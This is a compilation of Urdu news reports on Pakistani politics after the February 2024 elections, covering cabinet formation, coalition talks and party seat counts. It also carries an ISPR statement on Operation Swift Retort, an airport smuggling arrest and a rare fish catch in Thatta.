آئی ایس پی آر کے مطابق پاک فوج کی جانب سے وزیراعظم کو گارڈ آف آنر پیش کیا گیا اور اس موقع پر شہبازشریف نے یادگار شہداء پر پھول رکھے اور شہداء کو خراج عقید ت پیش کیا ۔
وزیراعظم شہبازشریف اور وفاقی کابینہ کی اراکین کی عسکری قیادت کے ساتھ ملاقات ہوئی جس دوران قومی سلامتی، علاقائی استحکام اور فوجی تیاریوں کے امور پر بات چیت کی گئی ۔
پاک فوج نے وزیراعظم اور کابینہ کو موجودہ سیکیورٹی صورتحال، درپیش خطرات سے نمٹنے اور انسداد دہشتگردی کارروائیوں بریفنگ دی ، شہباز شریف اور کابینہ نے دہشت گردی کیخلاف جنگ میں پاک فوج کی پیشہ وارانہ مہارت ، پاک فوج کی آپریشنل تیاریوں اور قربانیوں کو سراہا ۔
وزیراعظم شہبازشریف نے ملک کی علاقائی سالمیت کے تحفظ اور امن و استحکام کو یقینی بنانے میں پاک فوج کے عزم کی تعریف کی ۔ وزیراعظم نے یقین دہانی کروائی کہ حکومت مسلح افواج کی آپریشنل تیاریوں کیلئےدرکار تمام وسائل فراہم کرے گی،عروج پاکستان کا مقدرہ ہے ، جس میں مسلح افواج کا کردار نظرانداز نہیں کیا جا سکتا ۔
آرمی چیف نے جنرل عاصم منیر نے دورے اور فوج پر اعتماد بحال کرنےکیلئےوزیراعظم سے اظہار تشکر کیا اور کہا کہ پاک فوج قوم کی توقعات پر پورا اترتی رہے گی ،ملک کو درپیش سیکیورٹی چیلنجز سےنمٹنے میں حکومت کی بھرپورمعانت کریں گے۔ اس موقع پر سیاسی و عسکری قیادت نے قومی مفادات کو برقرار رکھنے، خوشحال اور محفوظ پاکستان کے لیے مل کر کام کرنے کے عزم ا عادہ کیا

تحریک انصاف اور سنی اتحاد کونسل میں دوریاں بڑھ گئیں

سنی اتحاد کونسل سے اتحاد پر تحریک انصاف کے رہنماؤں کی جانب سے تنقید کے معاملے پر ایس آئی سی کے سربراہ صاحبزادہ حامد رضا نے پیغام جاری کر دیاہے ۔
تفصیلات کے مطابق سربراہ سنی اتحاد کونسل صاحبزادہ حامد رضا نے ایکس(سابقہ ٹویٹر) پر بیان جاری کرتے ہوئے کہا کہ پی ٹی آئی کے دوست اپنے معاملات گھر میں ہی حل کریں تو بہتر ہے، سنی اتحاد کونسل میں شمولیت کا فیصلہ عمران خان نے کیا تھا، میری طرف سے کوئی درخواست نہیں کی گئی تھی، انتخابی نشان سے لے کر مخصوص نشستوں تک میرے پاس بتانے کو بہت کچھ ہے، اگر میں نے بھی ٹاک شوز میں بیٹھ کر کچھ بول دیا تو کئی لوگ شکل دکھانے کے قابل بھی نہیں رہیں گے، میری کمٹمنٹ عمران خان کے ساتھ ہے اور ہمیشہ رہے گی،
میں فضول کی میڈیا پبلسٹی کے لئے عمران خان کا برا نہیں سوچ سکتا، صرف اسی لئے خاموش ہوں ۔ ہدایات لے کر پھوٹ مت ڈلوائیں۔

ٹھٹہ کے ماہی گیروں پر قدرت مہربان، کروڑوں روپے کی مچھلیاں آ پھنسیں

کہتے ہیں کہ اللہ جب دیتا ہے تو چھپر پھاڑ کر دیتا ہے۔ اب چھپر تو محض مثال کے طور پر کہا جاتا ہے وہ ذات پاک اس پر بھی قادر ہے کہ انسان کے لیے نعمتیں آسمان سے نازل کردے، زمین چیر کر دے دے یا پھر سمندر ہی اس کے حکم پر انسان کی جھولی میں بہت کچھ ڈال جائے۔ ایسا ہی کچھ کرم ہمارے ملک کے ماہی گیروں پر اکثر ہوجایا کرتا ہے۔ اس مرتبہ قرعہ ٹھٹھہ کے ماہی گیروں کے نام نکلا ہے۔
رمضان المبارک کے آغاز پر ٹھٹہ کے علاقے کھارو چھان کے ماہی گیروں کے جال میں ایک بیش قیمت مچھلی کا بڑا سا جھنڈ آ پھنسا۔ مچھلیوں کی اس کمیاب قسم کو ’سُوا‘ مچھلی (نیڈل فش) کہتے ہیں۔ اس جھنڈ میں 300 کے قریب مچھلیاں تھیں جن کی قیمت کروڑوں روپوں میں ہے۔

ڈبلیو ڈبلیو ایف پاکستان کے محمد معظم خان نے میڈیا کو بتایا کہ کھلے سمندر سے 300 کے قریب نایاب سُوا مچھلیاں ماہی گیروں کے جال میں پھنسیں۔

معظم خان کا کہنا ہےکہ نایاب اور قیمتی مچھلی کی قیمت کروڑوں روپے میں بتائی جا رہی ہے۔
یہ مچھلی کبھی کبھار ہی جال میں پھنستی ہے لیکن جب بھی ایسا ہوتا ہے غریب ماہی گیروں کے دن پھر جاتے ہیں۔

اس مچھلی کی کمرشل اہمیت بہت زیادہ ہے، اس کےجزئیات ادویات اور آپریشن کے دوران اندرونی سرجری کے لیے استعمال کیے جاتے ہیں۔

چینی کھانوں میں بھی اس کے ایئربلیڈر (ہوا کی تھیلی) کی بڑی اہمیت ہے۔ ہمارے دوست ملک چین میں یہ شان و شوکت کی علامت بھی سمجھی جاتی ہے۔

یوم پاکستان کے موقع پرمسلح افواج کی خصوصی پریڈ کی تیاریاں

23 مارچ کو یوم پاکستان کے موقع پر مسلح افواج کی خصوصی پریڈ کی تیاریاں پورے جوش و جذبے سے جاری ہیں۔
پریڈمیں حصہ لینےوالی افواج کے لیےخصوصی انتظامات کیےگئے ہیں، پریڈ کی پریکٹس کےدوران افواج کی صحت برقراررکھنے کے لیےمختلف پکوان تیارکیےجاتے ہیں۔
افواج کےلیےکھانا تیارکرنےوالے کک نے اپنےجذبات کا اظہارکرتے ہوئےکہاکہ “بےشمار قربانیوں اورجذبوں سے پاکستان بنا ہے، اس لیے یوم پاکستان ہمارے لیے فخر کا دن ہوتا ہے”۔
“اس دن میں ہم اپنےدشمن کو اپنی طاقت دکھاتےہیں تاکہ وہ ہماری جانب میلی نگاہ سے نا دیکھ سکے”،”ہم اپنی افواج کے لیےبہت محنت سے کھانا تیار کرتےہیں تاکہ انکی خدمت میں کوئی کمی نہ رہے”
ویٹر عرفان کا کہنا ہےکہ “یہاں پہ جو فورسز آئی ہوئی ہیں ہم بھی انکی خدمت کے لیے شانہ بشانہ کھڑے ہیں”
کک محمد عارف نےکہا”انکی قربانی اور جذبے کا تو ہم مقابلہ نہیں کرسکتے لیکن انکی صحت کا بھرپور خیال رکھتے ہیں””پاکستان کوئی عام ملک نہیں ہے، یہ بے شمار ماؤں بہنوں کی قربانیوں سے بنا ہے””پاکستان دشمن کی آنکھیں نکال لینے والا ملک ہے”

وزیراعظم نے وفاقی کابینہ کے ارکان کے نام صدرمملکت کو بھجوادیے

وزیراعظم نے وفاقی کابینہ کے ارکان کے نام صدرمملکت آصف علی زرداری کو بھجوادیے۔ شہبازشریف نے 19 ارکان کی بطور وفاقی وزیر تقرری کی تجویز دے دی۔

عطاء تارڑ، خالد مقبول صدیقی، جام کمال، امیر مقام، اویس لغاری کے نام شامل ہیں جبکہ خواجہ آصف، احسن اقبال، رانا تنویر، عبدالعلیم خان، اعظم نذیر تارڑ بھی وفاقی کابینہ کا حصہ ہوں گے۔

چوہدری سالک حسین، قیصر شیخ اور ریاض پیرزادہ کے نام بھی تجویز کئے گئے ہیں، وزیراعظم کی فہرست میں محمد اورنگزیب، احد چیمہ اور محسن نقوی کے نام بھی شامل ہیں۔ فہرست میں اسحاق ڈار، مصدق ملک اور شزا فاطمہ کے نام بھی شامل ہیں، زیراعظم نے فہرست میں تین افراد کو وزیر مملکت بنانے کی سفارش کی ہے۔

واضح رہے کہ نئی وفاقی کابینہ آج سہ پہر 3 بجے ایوان صدر میں حلف اٹھائے گی، صدر مملکت آصف علی زرداری کابینہ کے ارکان سے حلف لیں گے۔

کراچی ائیرپورٹ سے غیر ملکی کرنسی اور سونا اسمگل کرنے کی کوشش ناکام

 ائیرپورٹ سکیورٹی فورس نے کراچی ائیرپورٹ سے ایک کروڑ 60 لاکھ روپے کی ملکی و غیر ملکی کرنسی اور سونے کی بینکاک اسمگلنگ ناکام بنا دی۔

ترجمان اے ایس ایف کے مطابق کراچی سے بینکاک کے مسافر عمران گل اعوان سے 16 ملین روپے مالیت کی کرنسی اور سونا برآمد کیا گیا، مسافر نے 251 گرام سونا اور غیر ملکی کرنسی بیگ میں چھپا رکھی تھی۔

ترجمان اے ایس ایف نے بتایاکہ عملے نے سامان کے مشکوک ہونے پر دستی تلاشی پر کرنسی اور سونا برآمد کیا، برآمد کرنسی میں امریکی ڈالر، ہانگ کانگ ڈالر، یوان اور  ریال شامل ہیں۔

ترجمان کے مطابق ملزم کو ابتدائی تفتیش کے بعد برآمد شدہ سونے اور کرنسی سمیت کسٹمز کے حوالے کردیا گیا ہے۔

آپریشن سوئفٹ ریٹارٹ پاک فوج کی مکمل برتری کا مظہر ہے، آئی ایس پی آر

پاکستان کی مسلح افواج نے، چیئرمین جوائنٹ چیفس آف اسٹاف کمیٹی اور سروسز چیفس کے ہمراہ ’آپریشن سوئفٹ ریٹارٹ‘ کے 5 برس مکمل ہونے اسے ایک تاریخی دن قرار دیا ہے۔

27 فروری 2019 کو پاک فضائیہ نے بھارت کی جانب سے سرحدی حدود کی خلاف ورزی کی کوششوں کو ناکام بناتے ہوئے 2 بھارتی لڑاکا طیارے مار گرائے تھے جبکہ ایک پائلٹ ابھی نندن کو گرفتار بھی کیا تھا، جسے بعد ازاں بھارتی حکام کے حوالے کردیا گیا تھا۔ پاک فضائیہ نے اپنے اس کامیاب آپریشن کا نام ’آپریشن سوئفٹ ریٹارٹ‘ رکھا تھا۔

’آپریشن سوئفٹ ریٹارٹ‘ کے 5 سال مکمل ہونے پر پاک فوج کے شعبہ تعلقات عامہ آئی ایس پی آر کی جانب سے جاری ایک اعلامیہ میں کہا گیا ہے کہ 27  فروری کو ملکی تاریخ کا ایک اہم واقعہ ہے، جس میں پاکستان کے عوام کے عزم اور مسلح افواج کی پیشہ ورانہ مہارت کا مظاہرہ کیا گیا۔

اعلامیہ کے مطابق مذکورہ آپریشن بلاجواز بھارتی جارحیت کا جوابی رد عمل تھا، بھارتی جارحیت کے پس منظر میں ان کے گھریلو سیاسی تحفظات اور انتخابی خدشات مد نظر تھے۔

’آپریشن کے تناظر میں معلومات کو سازگار شکل دینے کی مایوس کن بھارتی کوششوں کے باوجود، اس ناخوشگوار دن کے واقعات نے بھارت کے خلاف پاکستانی مسلح افواج کی مکمل آپریشنل برتری پرمہرتصدیق ثبت کی۔‘

پاکستان کی مسلح افواج کی استقامت اور قابلیت کا اعتراف دنیا بھر کے عسکری ماہرین اور تجزیہ کاروں نے کیا تھا، یہی وجہ ہے کہ اس ضمن میں مضحکہ خیز بھارتی دعوے مؤثر طریقے سے رد کردیے گئے، جو پہلے ہی حقائق کی جانچ کے متحمل نہیں ہوسکتے تھے۔

تباہ ہونے والے بھارتی طیارے کے پائلٹ کو امن کے مفاد میں بھارت کے حوالے کرنے کی ’تذویراتی دوراندیشی‘ کو سیاسی پختگی کے قابل ذکر اشارے کے طور پر متفقہ طور پر عالمی برادری کی جانب سے آج تک سراہا جاتا ہے۔

’امن کے لیے پرعزم ریاست کے طور پر، ہم اپنے پڑوسیوں کے ساتھ پرامن بقائے باہمی کی اہمیت پر زور دیتے رہیں گے، ہر مرتبہ پوری طاقت اور بغیر کسی ہچکچاہٹ کے پاکستانی عوام، ملکی خودمختاری اور علاقائی سالمیت کے خلاف کسی بھی جارحیت کا بھرپور جواب دیا جائے گا۔‘

ایم کیو ایم وفد کی ملاقات: پاکستان کو معاشی خطرات سے بچانا سب کی ذمہ داری ہے، شہباز شریف

نامزد وزیراعظم و صدر پاکستان مسلم لیگ ن شہباز شریف نے کہا ہے کہ ملک کو معاشی خطرات سے بچانا سب کی مشترکہ ذمہ داری ہے۔

صدر مسلم لیگ ن شہباز شریف سے متحدہ قومی موومنٹ کے وفد نے ملاقات کی ہے، اس دوران سیاسی امور پر تبادلہ خیال کیا گیا۔

شہباز شریف نے کہاکہ تمام جماعتوں کے مینڈیٹ کا احترام ووٹ کو عزت دینا ہے، ہم تحریک عدم اعتماد اور پاکستان کو ڈیفالٹ سے بچانے میں ایم کیو ایم کے کردار کو سراہتے ہیں۔

اس موقع پر اتفاق کیا گیا کہ عوام کی خدمت کے لیے ہم سب متحد ہوکر آگے بڑھیں گے، سیاسی مفادات کے بجائے قومی مفادات ترجیح ہیں۔

ایم کیو ایم وفد کی شہباز شریف کی تعریف

ملاقات میں ایم کیو ایم کے وفد نے کہاکہ شہبازشریف 16 ماہ کے دوران تمام اتحادیوں کو بڑی خوش اسلوبی سے ساتھ لے کر چلے، امید ہے کہ آپ کی قیادت میں پاکستان اور عوام کو مسائل سے نجات ملے گی۔

ملاقات میں سینیٹر اسحاق ڈار، رانا ثنااللہ، سردار ایاز صادق، خواجہ سعد رفیق، سینیٹر اعظم نذیر تارڑ، رانا مشہود، عطااللہ تارڑاور دیگر رہنمابھی موجود تھے۔

دوسری جانب ایم کیوایم وفد گورنر سندھ کامران ٹیسوری، مصطفیٰ کمال اور ڈاکٹر فاروق ستار پر مشتمل تھا

آج نومنتخب ارکان سندھ اسمبلی کی حلف برداری، پنجاب میں اسپیکر و ڈپٹی اسپیکر کا انتخاب ہوگا

عام انتخابات کے بعد سندھ اسمبلی کا پہلا اجلاس آج منعقد کیا جائے گا جس میں نو منتخب ارکان حلف اٹھائیں گے، جبکہ پنجاب اسمبلی میں خفیہ رائے شماری کے ذریعے اسپیکر اور ڈپٹی اسپیکر کا انتخاب کیا جائے گا۔

میڈیا رپورٹس کے مطابق، سندھ اسمبلی کا اجلاس آج صبح 11 بجے طلب کیا گیا ہے جس میں اسپیکر سندھ اسمبلی نومنتخب اراکین سے حلف لیں گے۔

مراد علی شاہ تیسری بار وزیراعلیٰ بنیں گے

چیئرمین پاکستان پیپلز پارٹی بلاول بھٹو زرداری نے نو منتخب رکن سندھ اسمبلی کو تیسری بار صوبے کا وزیراعلیٰ بنانے کا فیصلہ کیا ہے اور انہیں وزارت اعلیٰ کا امیدوار نامزد کر دیا ہے۔

پیپلز پارٹی نے سندھ اسمبلی میں اسپیکر کے لیے اویس شاہ جبکہ نوید انتھونی کو ڈپٹی اسپیکر نامزد کرنے کا اعلان کیا ہے۔

سندھ اسمبلی میں پیپلز پارٹی نے خواتین کی 20 اور اقلیتوں کی 6 مخصوص نشستیں حاصل کی ہیں جس کے بعد پیپلز پارٹی کے ارکان صوبائی اسمبلی کی تعداد 114 ہوگئی ہے۔

اس موقع پر گرینڈ ڈیموکریٹک الائنس، جماعت اسلامی اور جمیعت علما اسلام کی جانب سے سندھ اسمبلی کے باہر دھرنا دینے کا اعلان کیا گیا ہے۔

دوسری جانب محکمہ داخلہ سندھ نے سندھ اسمبلی کے اجلاس کے موقع پر سکیورٹی خدشات کے پیش نظر کراچی کے ریڈ زون میں ایک ماہ کیلئے دفعہ 144 نافذ کردی ہے۔

سندھ اسمبلی کے افتتاحی اجلاس اور اپوزیشن جماعتوں کی جانب سے دھرنے کے اعلان کے بعد ریڈ زون میں دفعہ 144 نافذ کر کے پولیس کی بھاری نفری تعینات کردی گئی ہے۔

پنجاب اسمبلی

پنجاب اسمبلی میں آج خفیہ رائے شماری کے ذریعے نو منتخب ارکان اسپیکر اور ڈپٹی اسپیکر کا انتخاب کریں گے۔ پنجاب اسمبلی کا اجلاس آج شام 4 بجے منعقد کیا جائے گا۔

پنجاب اسمبلی میں اسپیکر کے عہدے کے لیے ن لیگ کی جانب سے ملک محمد احمد خان جبکہ سنی اتحاد کونسل سے احمد خان بھچر نے اپنے کاغذات نامزدگی جمع کروا دیے ہیں۔

ڈپٹی اسپیکر کے عہدے کے لیے ن ليگ کے ظہیر اقبال چنڑ اور سنی اتحاد کونسل کے معین ریاض نے اپنے کاغذات نامزدگی جمع کرا دیے ہیں۔

واضح رہے کہ گزشتہ روز پنجاب اسمبلی کے 371 اراکین کے ایوان میں 321 نو منتخب اراکین نے حلف اٹھایا تھا۔ حلف اٹھانے والوں میں ن ليگ کے 193، سنی اتحاد کونسل کے 98، پیپلز پارٹی کے 13، مسلم لیگ ق کے 10، آئی پی پی کے 5 اراکین شامل ہیں

قومی اسمبلی کی نشستوں کے مطابق پارٹی پوزیشن جاری، ن لیگ سب سے بڑی پارلیمانی جماعت بن گئی

الیکشن کمیشن آف پاکستان نے 8 فروری کے عام انتخابات میں جیتنے والی سیاسی جماعتوں کی قومی اسمبلی میں پارٹی پوزیشن جاری کر دی ہے، جس کے مطابق پاکستان مسلم لیگ ن (پی ایم ایل این) 108 نشستوں کے ساتھ قومی اسمبلی میں سب سے بڑی پارلیمانی جماعت بن کر سامنے آئی ہے۔

الیکشن کمیشن آف پاکستان کی جانب سے جاری فہرست کے مطابق دوسرے نمبر پاکستان تحریک انصاف کے حمایت یافتہ آزاد اراکین کے سنی اتحاد کونسل میں شامل ہونے کے بعد نشستوں کی تعداد 81 ہو گئی ہے تاہم سنی اتحاد کونسل کو ابھی تک مخصوص نشستیں جاری نہیں کی گئیں۔

الیکشن کمیشن کی فہرست کے مطابق 8 آزاد اراکین ابھی کسی جماعت میں شامل نہیں ہوئے جب کہ پیپلز پارٹی کے قومی اسمبلی میں مخصوص نشستوں کے ساتھ اب تعداد 68 ہو گئی  ہے۔

الیکشن کمیشن آف پاکستان کی طرف سے جاری فہرست میں پارٹی پوزیشن میں جنرل نشستیں اور مخصوص نشستیں شامل کی گئی ہیں۔

فہرست کے مطابق قومی اسمبلی کی جنرل نشستوں پر پاکستان مسلم لیگ ن کی کل 75 نشستیں تھیں، جن میں 9 آزاد اُمیدواروں کی شمولیت کے بعد ان کی تعدد 84 ہو گئی۔

مسلم لیگ ن کو قومی اسمبلی میں اُمیدواروں کے تناسب سے اقلیتوں کی مزید 4 اور خواتین کی 20  نشستیں حاصل ہوئیں، 24 مخصوص نشستیں حاصل ہونے کے بعد اب مسلم لیگ ن کی قومی اسمبلی میں نشستوں کی کل تعداد 108 ہو گئی ہے-

اسی طرح پاکستان پیپلز پارٹی کے 54 امیدوار قومی اسمبلی کی جنرل نشستوں پر کامیاب ہوئے ہیں ، جب کہ پیپلز پارٹی میں قومی اسمبلی کے لیے کسی آزاد امیدوار نے شمولیت اختیار نہیں کی۔ اس طرح پاکستان پیپلز پارٹی کو اقلیتوں کی 2 نشستیں حاصل ہوئی ہیں جب کہ خواتین کی 12 نشستیں حاصل کرنے کے بعد قومی اسمبلی میں اس کی نشستوں کی مجموعی تعداد 68 ہو گئی ہے۔

اسی طرح قومی اسمبلی کے لیے متحدہ قومی موومنٹ (ایم کیو ایم) کے 17 امیدوار کامیاب ہوئے ہیں اس تناسب سے ایم کیو ایم کو اقلیتی ایک نشست حاصل ہوئی ہے جب کہ قومی اسمبلی میں انہیں خواتین کی 4 نشستیں دی گئیں جس کے بعد ایم کیو ایم کی قومی اسمبلی میں نشستوں کی تعداد 22  ہو گئی ہے۔

اسی طرح استحکام پاکستان پارٹی ( آئی پی پی ) کے قومی اسبملی کے لیے 3 امیداور وں نے کامیابی حاصل کی تھی جس کے تناسب سے انہیں قومی اسمبلی کے لیے خواتین کی 1 نشست حاصل ہوئی، اب آئی پی پی کی قومی اسمبلی کی نشستوں کی تعداد 4 ہو گئی ہے- مجلس وحدت المسلمین کا 1 امیدوار قومی اسمبلی کی جنرل نشست پر کامیاب ہوا ۔

الیکشن کمیشن آف پاکستان کی جانب سے جاری فہرست کے مطابق جمیعت علما اسلام ف کے 6 اُمیدوار قومی اسمبلی کی نشستوں پر کامیاب ہوئے ہیں جس کے بعد اسے 2 خواتین کی مخصوص نشستیں دی گئیں اب قومی اسمبلی میں جے یو آئی کی جنرل نشستوں کی کل تعداد 8 ہو گئی ہے۔ پاکستان مسلم لیگ ق کے 3 اُمیدوار قومی اسمبلی کی جنرل نشستوں پر کامیاب ہوئے، خواتین کی ایک نشست اور ایک آزاد اُمیدوار کی شمولیت کے بعد ان کی تعداد 5 ہو گئی ہے۔

اسی طرح مسلم لیگ ضیاء، بلوچستان عوامی پارٹی، بلوچستان نیشنل پارٹی، نیشنل پارٹی اور پشتونخوا ملی عوامی پارٹی کے 1 ایک رکن نے قومی اسمبلی کی نشست پر کامیاب ہوئے تھے۔  8 آزاد امیدوار تاحال کسی جماعت میں شامل نہیں ہوئے جب کہ قومی اسمبلی کی 3 نشستیں ابھی زیر التوا ہیں۔

حکومت سازی: ن لیگ اور پیپلزپارٹی حتمی نتیجے پر نہ پہنچ سکیں، سفارشات پر قائدین سے مشاورت کا فیصلہ

مسلم لیگ ن اور پیپلزپارٹی میں کابینہ میں شمولیت کے معاملے پرڈیڈ لاک برقرار ہے۔

ملک میں 8 فروری کو ہونے والے عام انتخابات کے بعد حکومت سازی کے لیے جوڑ توڑ کا سلسلہ جاری ہے، مسلم لیگ ن، پیپلزپارٹی، ایم کیو ایم سمیت اتحادی جماعتوں نے مل کر حکومت بنانے کا فیصلہ کیا ہے، جبکہ دوسری جانب پی ٹی آئی دعویٰ کر رہی ہے کہ وہ اپنا وزیراعظم منتخب کرانے میں ضرور کامیاب ہوگی۔

پاکستان مسلم لیگ ن اور پاکستان پیپلزپارٹی کے درمیان حکومت سازی کے معاملے پر مذاکرات کا سلسلہ جاری ہے، مسلم لیگ ن چاہتی ہے کہ پیپلزپارٹی کابینہ کا حصہ بنے، جبکہ چیئرمین پی پی پی بلاول بھٹو نے اعلان کیا ہے کہ ہم وزیراعظم کے لیے مسلم لیگ ن کے امیدوار کو ووٹ ضرور دیں گے تاہم وزارتیں نہیں لیں گے۔
مسلم لیگ ن اور پیپلزپارٹی کی کوآرڈینیشن کمیٹیوں کے درمیان آج ہونے والا دور بھی بے نتیجہ رہا، تاہم سفارشات پر اپنی اپنی پارٹی کے قائدین سے مشاورت کا فیصلہ کیا گیا ہے۔ جس کے بعد کل حتمی راؤنڈ میں چیزیں طے ہونے کا امکان ہے۔

کوآرڈی نیشن کمیٹیوں میں پاکستان پیپلزپارٹی کی جانب سے مراد علی شاہ، قمر زمان کائرہ اور ندیم افضل چن شامل ہیں، جبکہ مسلم لیگ ن کی نمائندگی اسحاق ڈار، اعظم نذیر تارڑ اور دیگر کر رہے ہیں۔

ایم کیو ایم نے ن لیگ کو حکومت سازی میں مکمل ساتھ دینے کی یقین دہانی کرا دی

متحدہ قومی موومنٹ پاکستان ( ایم کیوایم) نے پاکستان مسلم لیگ ن کو حکومت سازی میں مکمل ساتھ دینے کی یقین دہانی کر دی۔

ذرائع کے مطابق مسلم لیگ ن کی رابطہ کمیٹی سے ایم کیوایم وفد کی ملاقات میںایم کیو ایم نے وسیع تر قومی مفاد میں ن لیگ کیساتھ ملکرچلنے پر اتفاق کرلیا گیااورحکومت سازی کی تشکیل کے حوالے سے ابتدائی مسودہ ایم کیوایم کےحوالے کردیا گیا۔ایم کیو ایم مسودہ پر پارٹی قیادت کیساتھ سے مشاورت کرے گی، اوردوبارہ ن لیگ رابطہ کمیٹی سے ملاقات کی جائے گی۔

ترجمان متحدہ کے مطابق ایم کیو ایم وفد نے ن لیگی مذاکراتی کمیٹی کی دعوت پرملاقات کی ، جس میں گورنر سندھ کامران ٹیسوری،مصطفیٰ کمال، ڈاکٹر فاروق ستارشریک تھے، جبکہ ن لیگ کی جانب سےاسحاق ڈار، ایاز صادق اور محمد احمد خان نےشرکت کی ۔

ایم کیو ایم ترجمان نے بتایا کہ ملاقات میں ملک کو درپیش چیلنجر سے نمٹنے کیلئے مشترکہ حکمت عملی بنانے پرتبادلہ خیال کیاگیا،ملک خصوصاً شہری سندھ کے لوگوں کے مسائل سے نکالنے پر بات ہوئی، متحدہ نے حکومت میں شمولیت کیلئے ن لیگ سے 3 نکاتی آئینی ترمیم پر حمایت مانگی ہے۔

انہوں نے کہاکہ ملک کو درپیش مسائل کا حل اور بحرانوں سے نکالنا ہم سب کی ذمہ داری ہے،اختیارات اور وسائل کی نچلی سطح تک منتقلی کو آئینی تحفظ دلوانا ہماری اولین ترجیح ہے،دونوں جماعتوں نےحکومت سازی کے حوالے سے بات چیت جاری رکھنے پر اتفاق کیا گیا ہے۔

،گورنر سندھ کامران ٹیسوری صحافیوں سےغیررسمی گفتگو کرتے ہوئے کہا کہ ایم کیو ایم نے ن لیگ کو حکومت سازی میں مکمل ساتھ دینے کی یقین دہانی کرائی ہے،ہم حکومت سازی کے مشکل مرحلے میں ساتھ ہیں،اورہم نے اپنی حمایت کا بتا دیا ہے، اُمید ہے آج ہی اعلامیہ جاری ہوگا۔

نوازشریف اور شہبازشریف کی ملاقات، وفاقی کابینہ کیلئے ناموں پر غور

پاکستان مسلم لیگ ن کے قائد میاں نوازشریف سے پارٹی صدر شہباز شریف نے ملاقات کی ہے۔

ذرائع کے مطابق شہباز شریف نے مختلف اتحادیوں سے ملاقات کے بعد نواز شریف کو بریفنگ دی اور متوقع وفاقی کابینہ کے لئے اہم افراد کے نام بھی زیرغور کیا گیا۔

ذرائع کا کہنا ہے کہ حکومت کی تشکیل کے بعد 25 رکنی وفاقی کابینہ بنائے جانے کا امکان ہے، ایم کیو ایم کو 3 سے 5 وفاقی وزارتیں دیئے جانے پر معاملات زیر غور ہیں، ایم کیو ایم کی جانب سے خالد مقبول صدیقی، فاروق ستار، سید مصطفی کمال، سید امین الحق اور خواجہ اظہار الحسن کے ناموں پر غور کیا جا رہا ہے۔

مسلم لیگ ن کی جانب سے 15 سینئر لیگی رہنماؤں کے نام وفاقی وزراء کے لئے زیر غور ہیں، لیگی رہنماؤں میں اسحاق ڈار، سردار ایاز صادق، خواجہ آصف، احسن اقبال، مریم اورنگزیب کے نام وفاقی کابینہ کے لئے زیر غور ہیں۔

96 امیدوار پہلی مرتبہ قومی اسمبلی کا الیکشن جیتنے میں کامیاب

مختلف جماعتوں سے تعلق رکھنے والے 96 امیدوار 8 فروری کو پہلی مرتبہ قومی اسبملی کا الیکشن جیتنے میں کامیاب ہوئے ہیں۔

تفصیلات کے مطابق 8 فروری کے الیکشن میں 265 امیدواروں میں سے 96 امیدوار پہلی مرتبہ قومی اسبملی کا الیکشن جیتنے میں کامیاب ہوئے ہیں۔
تحریک انصاف کے حمایت یافتہ 96 امیدواروں میں سے پہلی مرتبہ 52 امیدوار کے پی کے، پنجاب اور بلوچستان سے منتخب ہوئے، کے پی کے سے این اے 1 سے عبدالطیف، این اے 2 ڈاکٹر امجد، این اے 4 سہیل سلطان، این اے 10 بیرسٹر گوہر، این اے 12 محمد ادریس، این اے 15شہزادہ محمد گشتاسپ خان ، این اے 16 علی اصغر خان، این اے 22 عاطف خان، این اے 30 شاندانہ گلزار (2018 میں مخصوص نشست پر تھیں)، این اے 32 آصف خان، این اے 33 شاہ احد علی شاہ، این اے 34 ذوالفقار علی، این اے 36 یوسف خان، این اے 39 نسیم علی شاہ، این اے 41 شیر افضل مروت اور این اے 42 زبیر خان الیکشن جیتے ہیں۔
پنجاب سے پہلی مرتبہ تحریک انصاف کے حمایت یافتہ امیدواروں میں این اے 62 چوہدری الیاس، این اے 66 احمد چٹھہ، این اے 67 انیقہ مہدی بھٹی، این اے 74 اسلم گھمن، این اے 78 مبین عارف جٹ، این اے 79 احسان اللہ ورک، این اے 83 اسامہ میلہ، این اے 84 شفقت اعوان، این اے 86 مقداد بلوچ، این اے 89 جمال احسن، این اے 90 عمیر نیازی، این اے 95 علی افضل ساہی، این اے 96 رائے حیدر علی، این اے 97 سعد اللہ بلوچ، این اے 99 عمر فاروق، این اے 101 رانا عاطف، این اے 102 چنگیز خان، این اے 103 علی سرفراز، این اے 104 صاحبزادہ حامد رضا، این اے 105 اسامہ حمزہ، این اے 111 ارشد ساہی، این اے 115 خرم ورک، این اے 122 لطیف کھوسہ، این اے 137 رضا علی گیلانی ، این اے 142 چوہدری عثمان علی، این اے 154 فراز نون، این اے 156 عائشہ نذیر جٹ، این اے 167 عثمان اویسی، این اے 170 میاں غوث، این اے 171 ممتاز مصطفی، این اے 180 فیاض چھجرہ، این اے 181 مس عنبر مجید نیازی، این اے 182 اویس حیدر جھکڑ اور این اے 262 کوئٹہ سے عادل خان بازئی شامل ہیں۔
ن لیگ کے ٹکٹ پرپہلی مرتبہ جتننے والے امیدواروں میں این اے 51 راجہ اسامہ سرور، این اے 53 قمر الاسلام راجہ، این اے 57 دانیال چوہدری، این اے 59 سردار غلام عباس، این اے 60 بلال اظہر کیانی، این اے 65 چوہدری نصیر عباس، این اے 80 سے عثمان شاہد، این اے 113 رانا احمد عتیق، این اے 119 مریم نواز، این اے 121 وسیم قادر(جو الیکشن جیتنے کے بعد ن لیگ میں شامل ہوگئے)این اے 127 عطا تارڑ، این اے 133 عظیم لکھوی، این اے 168 ملک اقبال، این اے 184 عبدالقادر خان اور این اے 187 عمار لغاری شامل ہیں
پی پی پی کی ٹکٹ پر جیتنے والے امیدواروں میں این اے 45 سے فتح اللہ خان، این اے 191 سے پی پی پی علی جان مزاری ، این اے 192 میر شبیر علی بجارانی، این اے 193 محمد شیریار خان، این اے 195 نذیر احمد بھاگیو، این اے 210 صلاح الدین جونیجو، ، این اے 219 عبدالعلیم خان، این اے 223 حاجی رسول بخش چانڈیو، این اے 241 ڈاکٹر مرزا اختر بیگ، این اے 259 ملک شاہ اور این اے 264 نوابزادہ میر جمال خان رئیسانی شامل ہیں۔

ایم کیو ایم کے پہلی مرتبہ قومی اسمبلی کا الیکشن جیتنے والوں میں این اے 232 آسیہ اسحاق صدیقی، این اے 233 محمد جاوید حنیف خان، این اے 234 محمد معین امیرپیرزادہ، این اے 236 حسن صابر، این اے 237 محمد عبدالرؤف صدیقی ، این اے 238 صادق افتخار، این اے 240 ارشد عبداللہ وہرہ، ، این اے 242 سید مصطفی کمال، این اے 245 سید حفیظ الدین، این اے 247 خواجہ اظہار الحسن اور این اے 249 احمد سلیم صدیقی شامل ہیں

